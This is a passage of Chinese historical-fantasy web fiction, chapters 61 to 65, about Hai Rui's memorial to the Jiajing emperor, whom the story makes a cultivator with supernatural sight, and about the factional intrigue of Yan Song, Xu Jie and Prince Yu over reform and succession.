“好像是叫林崇义,”王用汲低头略一思考后道:“半个月前调来定海卫,担任卫指挥使,负责与他交涉的是……”说着,王用汲语气一顿,抬头看向海瑞,道:“文昭!” 海瑞眸光闪烁,片刻后猛的折身朝着大堂而去,快步来到案桌前,找到林家的卷宗。 “唰!”大手一挥,长长的卷宗甩开,很快海瑞就从林家的族系名册中,找到了林崇义这個名字,“果然,是林家之人!” “林家,那他就是清流一派了,”王用汲眉头紧皱,道:“文昭是严党的人,他怎么可能跟清流……”说着,王用汲猛的顿住。 “半个月前,他被任命为定海卫的指挥使之职,谁有权任命呢?”海瑞像是在说给王用汲听,也像是在说给自己听。 “浙直总督,胡宗宪,胡部堂!” “如此,一切也就说的通了。”海瑞深吸一口气,来到窗前,看着东边冲天的大火。 “严党和清流联手,他们要通过这一把大火,彻底平了定海县的所有事情!” “严党放手了,清流也主动舍弃了林家,以及我们手中,凡是跟林家有牵扯的一切利益家族,既然是要平事,就要平的干干净净。” “他们的意思很明确,我不是要查吗?我不是揪着不放吗?那就都送给我了!” “一刀切下去干干净净,此案到此为止!” “这就是文昭说的,平事?”王用汲说着,瞪着眼,有些不敢置信,道:“那国师呢?罗天大醮可是陛下让国师来办的……” “这么做,那岂不是说,清流和严党……”说到这里,王用汲只觉得浑身冰冷,压低声道:“欺君?就不怕皇上查下来吗?” “若是严党和清流能联手,那皇上……”说着,王用汲声音已经消失。 皇帝会允许两个派系,联手吗? 而且,事情还做的如此明目张胆,这些卷宗可都在,稍微一查可就露馅了。 闻言海瑞没有回答,只是抬头看向前方,张了张嘴,终究是没有在王用汲跟前说出一些话来,只是在心中道:“若是都是皇上授意呢?” 一瞬间,海瑞的大脑飞速运转。 他开始回想起自己被张阁老举荐,来定海县查案,所有的过程,无比的顺利。 而他需要的做只有一个,那就是拿着卷宗抄家,抄了那些跟徐阶家族有千丝万缕关系的商人家族,那位徐阁老为什么这么做? 是因为钱太多,所以想要以朝廷的名义,舍弃部分商人家族,给朝廷送钱? 不,原因只有可能是他不得不这么做! 而后,严党突然揪着不放,通过文昭,给了自己士绅家族兼并军户田地的线索。 这或许是严党和清流的斗争,而自己在接到案子后,彻底不再听清流的安排。 之后,就是一直拖到现在,双方突然诡异的罢手了,严党甚至现在还在配合清流。 这次林家被揪出来,那么会有多少东南士绅家族被连根拔起。 这些钱财、土地,最终会落入谁的口袋里?谁才是最大的获利者? 除了那独居玉熙宫的皇帝,还能是谁! 抄家搜刮上来的钱财,会入了他的内帑,土地会成为他的皇庄,皇田! 他要这些干什么?修道!对,他除了修道,他还能干什么! 一时间,海瑞恍惚了。 一张黝黑刚直的脸上,那即便是得知自己被卷入清流和严党斗争漩涡,即便知道可能被清流和严党同时厌弃,身死都不曾变换的面色。 终于在这一刻,动容了! 一股前所未有的无力感席卷全身。 一双坚毅不屈的眸子里,此刻涌动着哀愁,委屈之色,他在替天下万民而委屈,无助! 他无法想象,身为天下臣民的君父,竟然能如此自私,如此的贪婪,甚至为了钱财,不惜与臣子联起手来……欺世、盗民! 君不君臣不臣,君没有君的样子,臣没有臣的本分,满朝权贵,竟皆在行那禽兽之举。 他们可曾有一分一毫的念头,是系挂在这天下百姓,苍生黎民身上? 至此,海瑞和嘉靖的君臣误会诞生了。 要是嘉靖知道海瑞心中所想,定会大呼冤枉,他这是取之于臣,用之于民。 “刚峰,你怎么了?”察觉到海瑞的神情似乎不对的王用汲,有些担心的喊了几声,海瑞也在这时,猛的回过神来。 “明受?”海瑞看向王用汲,张了张嘴,而后话到嘴边,又只能压下心中的思绪,缓缓坐下,自顾自的念道:“没事,我没事……” 他感受到了一股前所未有的虚弱。 这不是身体上的虚弱,而是心理上的虚弱,他的心气儿似乎没了。 此刻海瑞看着面前,需要继续彻查的,堆积如山的卷宗和罪证,迷惘了。 不用查了,如果他所料不错,那个被推出来的林崇义,他会交代出一切。 之后,根本不需要查,他们会自己把人全都交出来,定海县的案子,结束了。 可以后呢,皇上要是再如法炮制呢?最后会是什么结果,会有无数的钱财入内帑,无数的土地成为皇庄,皇田,百姓会生不如死! 最后,大明朝就真的完了! “禀堂尊,醮坛起火,国师跟黄公公已经赶了过去,二老爷让小的通知您过去主持大局……”这时,刚才的仆役又走了进来。 “刚峰,要不你先回去休息,我过去也一样,若是问责下来,我也可以为你先担着……”发现海瑞状态不对,王用汲开口说道。 “无碍,走吧。”虽然心中失望,几乎让他内心崩塌,但海瑞还是强撑着起身。 而且,他不会被轻易打败! 这些案子,上面过去了,但在他这里,没有! 见此,王用汲几次想要开口劝一劝,他不明白清流和严党联手做局欺骗皇上,刚峰为何如此失态,似乎还有什么隐情一般。 不过见海瑞不愿意说,他也只好沉默。 以他对海瑞的了解,他不说,那肯定有他的道理。 二人不知道的是,就在他们离开后不久,身形高大,提着一壶酒,喝的摇摇晃晃的张子明,形骸放浪的走进了县衙后堂。 此时,全县衙后堂,空无一人。 没过多久,县衙大火,后堂卷宗,罪证,全部付诸一炬。 等到被人发现时,只听得后堂中大笑不止,似有狂人高呼:“我本楚狂人,凤歌笑孔丘。” “手持绿玉杖,朝别黄鹤楼。” “登高壮观…天地间……大江茫茫去不还,哈哈哈哈……” “走水了,走水了,救人!” “二老爷,是二老爷…快救人,救人……” 行至半道的海瑞和王用汲一路狂奔折返,当二人冲入县衙时,入眼是漫天的大火。 只有那念了一遍又一遍,诗仙李白写给友人卢虚舟的赠诗《庐山谣寄卢侍御虚舟》。 还有那被淹没在大火中的狂笑声。 “救人,救人!救人啊!”一袭布衣的海瑞,汗水浸湿了胸背,他奔走着抢过一支木桶,想要救人,王用汲亦是慌张不已。 “嘭!”木桶砸落,张子明的声音彻底消失后,海瑞整个人怔在原地。 一切来的太突然,太快了。 一夜过去,黎明时,大雨倾盆。 东边和县衙的火已经熄灭,县衙部分房屋被波及,好在没有其他人遇难。 海瑞跟王用汲站在大雨中,看着化作废墟的县衙后堂,神情怔怔。 许久后,海瑞抬起头闭上眼,任由满天的大雨淋在脸上,感受着刺骨的冰冷。 半晌后,海瑞抹了一把脸上的雨水,深吸一口气后,转身朝县衙另外一侧而去。 房间里。 海瑞站在桌前。 一手铺开白纸,一手拿着笔,脑海中闪过这段时间以来,发生的一切。 而后大笔挥动,银钩铁画,只见雪白的纸面,上书“谏修斋建醮疏”六个大字。 一夜之间,醮坛灭,惊变起,天不仁,君臣误,文昭死,海瑞怒,奏疏起! “……” 第六十二章 观奏疏。拿纸笔,朕念一句,你记录一句 大笔挥毫。 笔端在雪白的纸上跳跃。 一个个规整的字迹跃然纸上。这时,王用汲安抚了众人后,也匆匆而来。 “嘭!”房门推开,见海瑞正面无表情的在桌前书写着什么后,顿时狠狠松了口气。 之前,他也给昨晚的惊变给弄得不知所措,失了魂,反应过来后,处理了县衙的慌乱后,这才追着海瑞的步伐快走了过来。 从昨晚上开始,他就发现了海瑞的不正常,此刻自然是十分担心的。 张子明以最壮烈的方式自焚而死,他相信,不光是对他,对海瑞亦是极大的震动。 “刚峰,”王用汲说着就要上前,这时海瑞却头也不抬的开口,“不要上前。” 从昨晚开始,他心中梳理通畅的所有计较,就不曾对王用汲说过,就是不想连累好友。 而这份奏疏,自然也不能给这位好友看,他不想再看到一个好友身死。 “刚峰?!”听到海瑞的话,王用汲一怔,倒也没有急着上前,从海瑞的声音中,他听到的只有平静,似乎往日的海刚峰又回来了。 一时间,心下渐宽,倒也不是太担心,至于海瑞不让自己上前,倒也不在意。 “刚峰,卷宗名册都烧毁了,不过如今既已知晓,是严党和清流联手平事,倒也不必担心,纵火之人,擅离职守之人皆已伏法。” “只需按流程审问东南之事,就算是了结,”说着,王用汲轻叹,道:“刚峰,来日方长,只要青山还在,何愁没柴烧?” 说着,王用汲又是一叹,道:“文昭的死,将所有罪证付之一炬,却也把事情闹大了,想来严党也不会对你太过紧逼。” “你是内阁举荐到定海的办事主官,不管内阁如何看你,如今监察御史已死,国师又亲自坐镇,料想那严党不会太过丧心病狂……” 王用汲说话间,已经开始在房间里踱步,神情倒也宽慰了不少。 “可以写个题本,或者奏疏,把查案过程,做个总结,内阁肯定是要问你的。” 说着,王用汲心中一动,看向海瑞,道:“刚峰,你这是已经在写了吗?” “也好,提早写也行,不就是作戏吗,他们能做的,我们又有何做不得…呵!” 王用汲还在絮絮叨叨,言辞间都是对接下来收尾工作的算计,全都是对海瑞的担心。然而海瑞则是始终面无表情,继续挥毫。 然而王用汲,和海瑞,尤其是海瑞,不知道的是,他头顶正有一双眸子静静的看着他。 确切的说,是那洋洋洒洒,但又因情况不同而稍有别于后世的‘谏修斋建醮疏’,或者说它的另外一個更响的名字:‘治安疏’。 …… 此时,定海县,东边。 一片被清理过的平地上,此时是一片废墟,而在边上,还站着一群人。 由青石砌成,直径约十米的圆形祭坛,表面刻着精细的八卦图和各种符咒,此时全是焦黑。 而在醮坛四周,则摆放着各种法器。 银色的铃铛、铜质的宝剑、青铜镜,以及各式各样的香炉和烛台,也都浸泡在泥泞和水中。 定海卫的将士们,已经将此处封锁。 最外围,县衙的差役则是站在边上,大气不敢喘一声,都在静静的等待着知县老爷。 “飒飒飒。”雨中,清风站在醮坛边上,雨水打在雨伞上,发出密集的响声。 一双清澈,仿佛不谙世事的眸子眨了眨,不知道在想什么。 “国师,醮坛被烧了,别太担心了……”黄锦看了看面前已经化作废墟的醮坛,眉宇间也是有忧愁之色浮现。 主子可是让国师来东南主持罗天大醮的,这还没开始呢,就出了这么一档子事。 此刻,黄锦也终于有些后知后觉。 为什么东南此行之前,干爹再三叮嘱,只要保护好国师,其他不管发生什么,都不要去做多余的事情,也不要过问。 一开始,他还奇怪,既然让国师当钦差,举行罗天大醮的同时,彻查东南一案,让自己这个东厂提督,亲自带人护送,必然是撑腰的。 什么都不管,什么都不问算怎么回事? 此时,看到这一幕后,他总算是有了一些猜测。 罗天大醮,那可是主子拍板决定,内阁亲自操持,命令直接下达到浙江,浙直总督亲自调兵遣将,上下全程督造,竟然能被人放火烧了。 之后放火的人毫无反抗的被关入大牢,而那个当晚撤离所有驻军的将领也已经被拿下。 显然,这里头的水太深了,甚至可以说是深到了宫里头,也丝毫不为过。 嗯,说不定,这就是主子亲自点头,也不一定,但想及此处,黄锦又不敢想了。 对他来说,有些话就算心里再怎么明白,也不能说出口的,就是宫里伺候的生存之道。 “不啊。”然而让黄锦没有想到的是,这位小国师,似乎并不是很放在心上。 “黄公公,还记得我教你念的问仙祷词吗?”少女回头,纯净清澈的眸子里,不染丝毫的杂色,白皙的鹅蛋脸上挂着笑。 黄锦一愣,不明白,好好的怎么说起问仙祷词了,不过尽管心中疑惑,他回答的却不慢,“国师教诲,奴婢自然是记得的。” “第一句是什么?”清风用清澈的眸子,看着黄锦,眼神示意他讲出来。 要讲出来吗?瞥了眼周围东厂辑事,自己的这班手下,黄锦突然有种莫名的羞耻感。 不是他不愿意,实在是那问仙祷词,太孩子气了些,念出来总有种小女儿家撒娇的感觉。 不过在清风的眼神示意下,尽管心里不是很愿意,但他还是念出了声。 “只要心诚则灵啊灵啊灵,虔诚之心,感彻寰宇深……”随着黄锦出声,周围的东厂辑事,都是齐刷刷的看了过来,眼神惊异。 不过在场的都是聪明人,反应也都很快,纷纷低下脑袋,个个恨不得自己是聋子。 “嗯。”清风点了点头,认真道:“埏埴以为器,当其无,有器之用。” “重要的是心诚,罗天大醮本身就是为祈福而存在,若是它的焚毁,也是为了让东南早日止乱,那么我们此行,已经算是成功了。” 听到清风认真的话,黄锦一怔,诧异的看着面前手持拂尘,清清瘦瘦的少女。 什么叫,若是它的“焚毁”也是为了止乱,此行就算是成功?她是看出了什么吗? “我才不傻。”看着黄锦欲言又止的模样,清风却是直言不讳,脆生生的说道。 她看出来了!黄锦的心一紧,而后又是无奈。事儿做的这么明目张胆,谁看了不往深了想,国师虽然心思纯净,但不是傻呀。 “国师,您的意思是?”黄锦说着,给清风投去一个试探的眼神,表达的意思是很清楚了,罗天大醮的事儿,就这么过去了? “嗯呢。”说着,轻甩拂尘,转身走向边上的马车,在旁撑伞的东厂辑事立刻跟上。 看着小国师这洒脱干脆的背影,黄锦张了张嘴,最后也只能跟了上去。 干爹说了,让他此行都听国师的,那她都这么说了,过去就过去了吧。 回头看了眼被封锁,化作一片废墟的醮坛,黄锦摇了摇头,也上了自己的马车。 …… 京城,西苑,玉熙宫内。 “吕芳,”躺在柔软榻上的嘉靖双目紧闭,突然开口,“拿纸笔,朕念一句,你记录一句。” “是。”伺候在旁的的吕芳闻言,知道主子这是又在视听天下了,应了声快步取来纸笔,“主子,奴婢准备好了。” “定海县知县臣海瑞谨奏,”一袭黑色帝王特制道袍的嘉靖,靠坐在榻上,双手自然的搭在扶手上,抬了抬手指,继续道: “为直言天下第一事,以正君道、明臣职,求万世治安事……” 听到这里,吕芳心下了然,明白主子这是在视听东南,而且是看到了海瑞的奏疏? “能被主子忍不住提前观看,甚至是抄录下来,想来定是一篇极好的奏疏了……” 想着,吕芳面含笑容,沾了沾笔墨,开始记录。 “君者,天下臣民万物之主也。惟其为天下臣民万物之主,责任至重。” 嘉靖念一句,吕芳记录一句。 然而,写着,写着,吕芳脸上的笑容开始渐渐凝固。 嘶,这味儿我怎么觉着不对呢? “……” 第六十三章 给海瑞一些小小的震撼! 大殿之上。 嘉靖的语气始终平静。 一时间,似乎听不出任何的情绪变化。 然而此刻,提这笔的吕芳,却是再也笑不出来了,仿佛天生不爱笑一般。 一整个人都在瑟瑟发抖,两股战战。 脑袋上更是渗出了一层密集的细汗,主子每念一句,他的心就跟着狠跳一拍。手已经抖得不行了,但他仍是要强自镇定的去记录。 大殿上的气氛仿佛在这一刻,凝固了。 “反刚明而错用之……侈兴土木……”嘉靖的声音依旧平静。 “二十余年不视朝,纲纪弛矣。” 主子呀,别念了,别念了,求求您了!吕芳浑嘴唇颤抖,握着笔的手剧烈抖动,以至于他不得不用另外一只手撑着,以维持平衡。 “数行推广事例,名爵滥矣……” “人以为薄于父子……人以为薄于君臣……人以为薄于夫妇……”嘉靖的声音依旧平静。 “嘭!”吕芳的身子晃了一下,险些没站稳,握着笔的手撑着桌,抿了抿紧张到发白起皮嘴唇,吞了口口水,继续记录。 “民不聊生,水旱靡时,盗贼滋炽。” “自陛下登极初年,亦有之,而未甚也。” “今赋役增常,万方则效。陛下破产礼佛日甚,室如悬罄,十余年来极矣。” “天下因即陛下改元之号而臆之曰:嘉靖者,言家家皆净而无财用也。” “嘭!”几乎是在嘉靖这句话落下的瞬间,吕芳终于绷不住,直接跪了下去,脑袋杵在地上,悲呼之余恨声道:“主子……” 主辱奴死,吕芳眼神中满是恨意! 此刻他恨不得立刻飞鸽传书给陆炳,拿下那妄言欺主,狂言犯上的恶贼。 吕芳本就对嘉靖忠心不二,主仆情谊岂是旁人能明白,再加上嘉靖还带着他修仙,让他的未来,有了无限的可能。 主子修仙之后,甚至连裕王爷和景王爷,这些儿子都没有传授,却独独带着他。 此等恩情,是他永生永世都还不完的。 现在有如此之人,竟然写下这等欺君奏疏,这比杀了他还要不可原谅,无可宽恕! “哭什么,”听着吕芳的哭喊,嘉靖却是不在意,道:“继续记录,朕自有打算……” 闻言,吕芳红着眼,泪水流淌,张了张嘴,还想说什么,最终还是深吸口气,抬起胳膊擦干眼泪,站起身,重新拿起了笔。 “迩者,严党横行,清流不清,朝野不安,人心不安,天下何时可称清焉?” “严嵩在位,天下永无大清明之世也。” “陛下远不及汉文帝甚远。天下之人,不直陛下久矣……” (注:服务于剧情,这段稍作修改。 原文:迩者严嵩罢黜,世蕃极刑,差快人意,一时称清时焉。然严嵩罢相之后,犹之严嵩未相之先而已,非大清明世界也,不及汉文帝远甚。天下之人不直陛下久矣。) 玉熙宫内。 嘉靖念一句,吕芳记录一句。 不一会的功夫,这篇奏疏也随着定海县内,海瑞的停笔的同时,玉熙宫内吕芳也落下笔。 识海中,嘉靖深深看了眼坐在案前,不发一言的海瑞,大手一挥,被放大的本命变回原来大小,而后转身退出了识海。 “都记录好了吗?”睁开眼的同时,嘉靖坐起身,招了招手,“拿来朕看。” 吕芳深吸口气,将写好的几页纸,恭敬的奉上,交到嘉靖的手里。 看着这篇,因时修改的‘治安疏’,嘉靖目光扫过,又从头到尾的看了一遍。 “主子,您莫要生气,此等粗鄙凡人,如蚍蜉妄言谬论苍天,为了这种人,伤了仙体不值当,只要您一声令下,奴婢这就……” 吕芳恨声说着,然而他话还没说完,正在看着奏疏的嘉靖就轻描淡写道:“朕为何生气?” 被嘉靖这么一问,吕芳一滞。 “你看到的,是蚍蜉妄言谬论苍天,”嘉靖目光始终不离这篇吕芳抄录的奏疏,“可朕,此刻看到的,是臣子拳拳爱国之心。” 嘉靖生气吗?不,内心毫无波动。 这奏疏说对了吗?对了!那又如何呢?朕以前就是这样的,但那是以前! 如果是没有修仙,没有觉醒前世记忆的自己,看到这篇奏疏,必然暴跳如雷,恨不得将这个海瑞,除之而后快。 可,帝王的城府,注定了他不会杀这个海瑞。 你想做名臣?你想做千古贤臣?你要告诉后人什么?朕不想去想,朕不会如你意。 他们猜朕是不让你如意也好,幡然醒悟也罢,哼,后来者自己翻书,自己猜吧! 但是现在不一样了,现在的自己,真的修仙了。 因此,嘉靖再看这篇奏疏,内心毫无波动,甚至是想笑,当然,是欣慰的笑! 不过吕芳有句话倒也没说错。 想着,已经看完一遍奏疏的嘉靖合上手里的几页纸,随手合在一起,指了指吕芳。 “何人能论苍天啊?” “呵,”嘉靖说着,轻笑出声,随手一甩,将奏疏扔给吕芳,“无人可论!” “何为苍天?朕!”说着,嘉靖气势陡然一变,功法跟着运转,修为展露,威压阵阵。 “朕不是天子,朕是这大明的天。苍天可包容万物,蚍蜉亦在此列!” 嘉靖说着,看向已经怔在原地,心神震撼的吕芳,道:“苍天会在意蚍蜉的妄言谬论?” “朕可以是高高在上的天,也可以是天地万物的君父,为人父者,有雷霆之怒,亦有仁慈宽容,朕岂会怪罪于他?” 听到嘉靖如此一番苍天之论,吕芳脑海中一声轰鸣,宛若洪钟大吕敲响一般。 此一刻,他看着眼前的主子,他已不再是仙,而真的就像那无有与齐的苍天一般。 “帝君心如苍天,”吕芳恭敬的跪在地上,道:“是奴婢,狭隘了。” “起来吧,”嘉靖说着,收敛那一瞬间释放的修为气势,从柔软的榻子起身,走向玉熙宫门口,目视晴朗无云的湛蓝天穹。 “东南之事已了,海瑞这把剑也该收回了,不过为君为父亦为天,也要有适当的威严,给予这把锋芒毕露的利剑一些敲打才是……” “明日起朕要闭关,你将海瑞这份奏疏抄录成奏本,命人快马加鞭,送到那海瑞手里。” 听到这话,跟在嘉靖身后,拿着奏疏的吕芳身体一怔,心下顿时了然,眼底精光闪烁。 望着主子高大的背影,躬身温吞道: “帝君之威凡人难测,希望这海瑞经此后,可心存敬畏,知晓天不可轻言……” “……” 第六十四章 严嵩的猜测,严世蕃:我爹老奸巨猾 “对了,”吩咐完后,嘉靖突然又道:“这个海瑞,是个能臣,此人可堪大用。” “接下来,热闹的就是北边了,”嘉靖说着,嘴角勾起一抹笑容,“屯兵兴农的国策是由兵部和户部共同督办,这个海瑞……” “就把他安排到户部去,放在赵贞吉的手下,想来徐阶等人也很乐意看到这一幕。” 屯兵兴农的国策是恢复卫所制的关键,嘉靖要借这个机会,将边疆稳固,由外向内挤压,彻底让崩溃的卫所制恢复过来。 如此,为大明财政压力减负。 而在此之前,内部继续施行募兵制,以确保明军战斗力上的稳定。 外部为财政减负。内部向外扩散,为全国输送稳定的兵力。形成一个良性的循环。 等钱有了,兵有了,边境蒙古,和沿海倭寇这些,也就不用太过担心了。 之后就是清理内部整顿吏治的时候。 傍晚,残阳如血。 三骑出京,快马加鞭,直奔东南而去。 宫里有消息传出去,各方自然也都知晓。当然,宫里传出的,不止这些,还有海瑞的人事任命,以及皇帝对海瑞重视的消息。 严府。 依旧是严嵩的书房里。 “畜生!”严世蕃看了眼手上,东南飞鸽传回的讯息,恨声道:“这個张子明,该死!” “我当初就不应该让他去,吃着老子的饭,砸老子的锅,两面三刀的小人!” “早知道我当初就应该派高翰文去。” “看他为人机灵,对官场也懂规矩,明白自己的立场,没想到这畜生跟我玩这一手……” 看着气急败坏的儿子,严嵩哼笑一声,抬起头,慢吞吞道:“派谁去都是一样的。” “这些初入官场的孩子,能明白立场,但立场是以良心主导的,”说着,严嵩似是有些感慨,道:“我也曾像他们一样,呵……” 一声意味复杂难明的笑声,似是一个过来人,看到了年轻时的自己一样。 自己也曾是这样,立场由良心主导。 年轻时他也曾在官场上站队,选择立场,但为官处世也是一心为公,但是结果嘛,呵呵。 人生之事,总有不如意,总要学会接受事与愿违,不是吗? 年轻人,气盛些,可以理解。 “呵,良心?”听到这话,严世蕃冷笑,只觉得这两个字,轻贱的很。 “这么些年,我在官场上什么都看到了,就是没看到这稀缺玩意儿,良心?” “要良心做什么官?” “侈谈良心,还不如做春梦!” 看着已经“变态”的严世蕃,严嵩也懒得跟他计较。 一些人类最美好的东西,这家伙是没有的,说多了也是浪费口水。 “海瑞的事,就此打住吧。”严嵩换了话题,“这户部主事是皇上明言亲定,那就是铁则了,再做多余的事情,态度就不端正了。” “户部主事,”严世蕃很是不爽的用拳头,砸了一下桌子恨声道:“这把剑又放到清流手上了,皇上这就是在迫害我们。” “要什么给什么,他还是不满意,我们还饿着呢,他也不知道体恤体恤……” “国库那么大的亏空,皇上都给咱们免了,还有什么不满意的呢?”严嵩微微摇头,“皇上要恢复卫所制,我们就忠心做事就成了。” “放心吧,饿不着的。” “任何朝代,任何皇帝,身边都离不开一些做脏活累活的臣子。一朝之期,奸佞都是屹立不倒的,而清流却来来往往。” “那以后呢?”严世蕃鬼使神差的问了一句。 道理他何尝不明白,嘉靖一朝,他们严家确实如父亲说的,好好做事,屹立不倒。 这些时日,他也在考虑以后了。 皇上总归要离去的,那时新君是谁?对严家是什么态度?要是裕王的话,严家肯定死! “景王。”严世蕃问完,严嵩抬眼,看向严世蕃,缓声道: “世蕃,不虑于小,则不足以谋大;不谋于远,则不足以谋近。接下来,我们严家,要考虑如何长久生存的问题了。” “爹,你意思是?”严世蕃看着老爹,似有所悟,但又不敢确信是不是自己想的那种。 “皇上素来喜欢景王殿下,”严嵩说着,语气越发的低沉起来,“只可惜,景王殿下碍于身份,不得不被逼就藩德安……” “这次对我们来说是一次机会,”严嵩语气平静,道:“我有预感,等到北边之事结束,我们跟清流大可能会是两败俱伤的局面。” “最后的获利者,只能是皇上。” “届时会是何等局面?皇上近来种种行为,都让我感到深深的不安。” 严嵩说着,语气越发的低沉了起来,“皇上他,或许就是在为身后事做准备。” “爹!”听到这话,严世蕃下意识的低喝,同时害怕的四下看了看,这属于大不敬。 “皇上不再大修宫殿,不再将玄修放在第一位,”严嵩却是没有理会儿子的想法,继续慢吞吞的说着,“这说明,皇上放弃了。” “收割我们和清流的财富,用于军需,意在稳定边防,保证军队的战斗力。” “皇上是要防沿海和边疆,恢复卫所制是为了减轻财政压力,下一步可能就是吏治了。” “父母之爱子则为之计深远。皇上这是在为储君扫清障碍,等到一切稳定了……”说着,严嵩语气低沉,“整顿吏治就好办了。” “届时这天下百官,清流也好,严党也罢,都不过是大明刀兵之下的鱼肉。” “一旦北边的事结束了,那么大明内部将会在这位帝王的最后,迎来一场残酷血腥的大清洗。这个恶人,皇上做了又如何?” “他负责把大明的脓疮烂肉剜掉,伤口自有新君来抚平,收买人心,换来的却可能是一个逐渐愈合,新生的大明朝……” “所以,严家必须要找到新的依靠!” “只有真正的储君,才能能庇佑我们,而我们也必须要在屯兵兴农的国策上,彻底将清流击垮,让裕王再无翻身的可能。” “全力助景王殿下回京!” 听完老爹这一番深谋远虑的话,严世蕃张了张口,半晌后,道:“可是爹,您当初提出屯兵兴农的国策,难道不是为了喂饱自己吗?” “呵!”严嵩哼笑一声,“还记得我让你好好吃一顿吗?”说完,看着严世蕃,一副让你不吃,你这是亏到了模样。 而严世蕃却在这个意味深长的眼神注视下,目瞪口呆,只觉得头皮发麻。 原来当初那句“好好吃一顿”是这个意思?不是要我趁着家还富余,好好享受? 他就说呢,就算为了保命,交了所有的钱,也不至于如此吧?再说随时都可以赚回来,根本不至于一副趁着没交钱,好好吃的暴发户姿态。 显然,他这是早有预谋了。 原来从开始老爹就没打算再过好日子了,他是要带着严家这艘大船,背水一战了。 接下来,整个严党,真的要变成疯狗了,要拼命了,不是为了吃肉。 而是为了生存,活命! 一定要将清流弄残,甚至是弄死,将裕王彻底镇压,再无翻盘之机,拼尽全力助景王。 这一刻,严世蕃终于恍然。 看着越发苍老,须发皆白的老爹,心中冒出一个大不敬,但却很契合的词来:老奸巨猾! 清流和自己,或许就连皇上,都以为老爹提出“屯兵兴农”的国策,是饿极了。 因此饥不择食,看上了清流手里的土地,是要割清流的肉吃,增肥自己。 原来,老爹根本就没打算吃肉。 他追求的更远,更长,忍着饿,为求生存,背水一战,够狠! “……” 第六十五章 所有人都猜到了,嗯,皇上定是大限将至了! 裕王府,大殿之中。 裕王、徐阶、高拱、张居正、赵贞吉等人分主次依次而坐。 “海瑞要被任命为户部主事了。”张居正率先开口,而众人也将目光看向赵贞吉。 嗯,没办法,户部尚书可是他兼着的。 然而面对众人的目光,赵贞吉却是并不想回应。 他能说,这个刺头,他是一点都不想要吗?还真就是怕什么来什么了。 之前还想着,这种刺头若是被提拔,千万别跟自己粘上关系,结果还真就让他碰上了。 海瑞是他们清流举荐的自己人,若是内阁自己内部任命,他还有办法把人安排出去。 但现在是皇上金口玉言,无人可以更改了。 “呵,”看着赵贞吉这一副模样,张居正儒雅的面上露出一抹笑容,“倒是不用担心。” “上一次,是我们错估了此人,再加之东南情况特殊,所以才会闹到不可收拾的地步。” “这一次不一样,边疆之地,涉及朝中大部分官员,”说到这里,张居正语气微微一顿,看了眼沉默的徐阶,继续道: “而且,我们并不是要争什么。” “我们只不过是不想让‘屯兵兴农’的国策,被严党糟践,成为他们敛财的手段。” “屯兵兴农,必须掌握在我们的人手中,如此才能确保国策顺利施行下去。” “海瑞在我们手里,等同于一把神剑,因为我们跟海瑞的目标是一样的。” “屯兵兴农,意在恢复卫所制,海瑞届时,定然能看得明白,所以不用担心。” “至于边疆,兼并土地的士绅大族,”张居正环视众人一圈,道:“大势不可违,但施行国策的人,必须是我们的人才行。” 自从上次裕王把话说开后,众人已经不再避讳什么了,这个时候了,就明着结党了,但我们不是营私,而是为了裕王殿下! 听到张居正这么说,赵贞吉也明白,这话其实是在说给裕王听。 上次,错用了海瑞,差点让其把东南的天给掀翻了,也差点让徐阶家族遭到灭顶之灾。 裕王对此人,其实是不信任的。 嗯,至少在最后的大位确定之前,他是不想用这种不受控制,不小心就会伤主的剑的。 “徐阁老,你有什么想说的?”裕王看向沉默的徐阶。 然而接下来,徐阶却是语气幽幽,道:“殿下,臣接下来所言,怕是要大不敬了。” 听到这话,裕王神色一肃。 大殿中的其他人,也都在瞬间肃容。 能让向来稳重的徐阁老,说出这种话,显然这位在东南经历许多事后的阁老,也要露锋芒了。 “徐阁老请说。”裕王抬了抬手,示意徐阶有话直说。 “屯兵兴农的国策在北边施行的结果,就是卫所制的恢复,届时边疆将区域稳定,军户自给自足,可以省下大笔财政支出。” “这笔钱,连同着之前收割严党,”说着,徐阶语气微微一顿,不过还是继续道: “还有东南一些商贾,士绅大族抄家所得,最终都会用在军需之上。” “之后,内部继续施行募兵制,增强军队的战斗力,以维持东南沿海的稳定。” “皇上的下一步,必然是整顿吏治,”说着,徐阶看向裕王,语气低沉,“殿下以为,皇上为何突然一反常态,要做这些事?” 一句话,让裕王一怔。 皇帝为什么做这些利国利民的好事?需要理由吗?不需要,这是皇帝的责任! 可怪就怪在,做这件事的人是自己的父皇。 父皇是什么人?极度自私,极度贪婪的一个人,他突然反常做好事,总不会是…突然,想着想着,裕王身体一颤,呼吸变得不稳。 莫非,父皇他,大限将至?! 不对啊,宫里不是说了,父皇身体很好吗?突然,裕王眼底闪过精光。 不,不对不对,宫里的所有消息,都是父皇想透露什么就透露什么的。 就算父皇的身体出了问题,若是父皇不想说,他们也不可能有任何消息。 至少在京城,父皇的权力,达到了令人恐怖的地步,尤其是经历过宫变后,父皇更是把皇宫,西苑这些地方,掌控的密不透风了。 甚至就连他的府上,都有无孔不入的锦衣卫。 所以,父皇的身体,真的有可能大限将至?所以,父皇停下了玄修用度。 做这一切是为了什么?莫非是,为后继之君,扫清障碍?!后继之君是谁! 老四被赶去了德安就藩,所有人都以为自己是太子的时候,结果父皇却没了动静。 也是那一次,让他明白,父皇对他,真是厌弃到了一个地步,父皇并不喜欢他。 难道父皇准备身后事,是为了老四? 一时间,裕王呼吸急促,眼眶都有些发红了。 徐阶的一番话问,不仅仅是让裕王内心翻江倒海,张居正等人也同样猜到了某个可能。 “皇上近来的行为,我们不必揣测,”徐阶知道众人都能想到,也不废话,“但我们,必须要在皇上整顿吏治之前,彻底击垮严党。” “即便不能击垮严党,也要在接下来争斗中,维护好我们现有的一切……”说着,徐阶语气陡然变得无比严肃起来。 “殿下,皇上圣意主谁,尚未可知,说句大不敬的话,若是皇上主意景王,那么吏治整顿之后,殿下一系的人,将被清空!” “而殿下也将再无翻盘的可能。” “这天下,也会继续被严党所荼毒,那时便是生灵涂炭!” 一番话说完,裕王耳边仿佛有惊雷炸响,石破天惊。 张居正等人也是呼吸急促,因为此刻,他们也有些后知后觉了起来。 此前,他们也觉得严党是看出皇上要恢复卫所制,所以趁机进谗,提出屯兵兴农的国策。 但是他们从来没有去想皇上的意图。 或者说,他们从始至终,都在忽略的一個问题,皇上为何突然不重视玄修了? 嗯,皇上虽然总是闭关,而且还跟之前一样,不理朝政,一闭关就一月之余。看似没有改变,但此刻想来,却更像是欲盖弥彰。 几十年修道,突然放弃?为何? 答案两个,要么修成了,不必再继续了,但这可能吗?若是修成了,说明有效果,那按正常来想,那肯定应该是继续了! 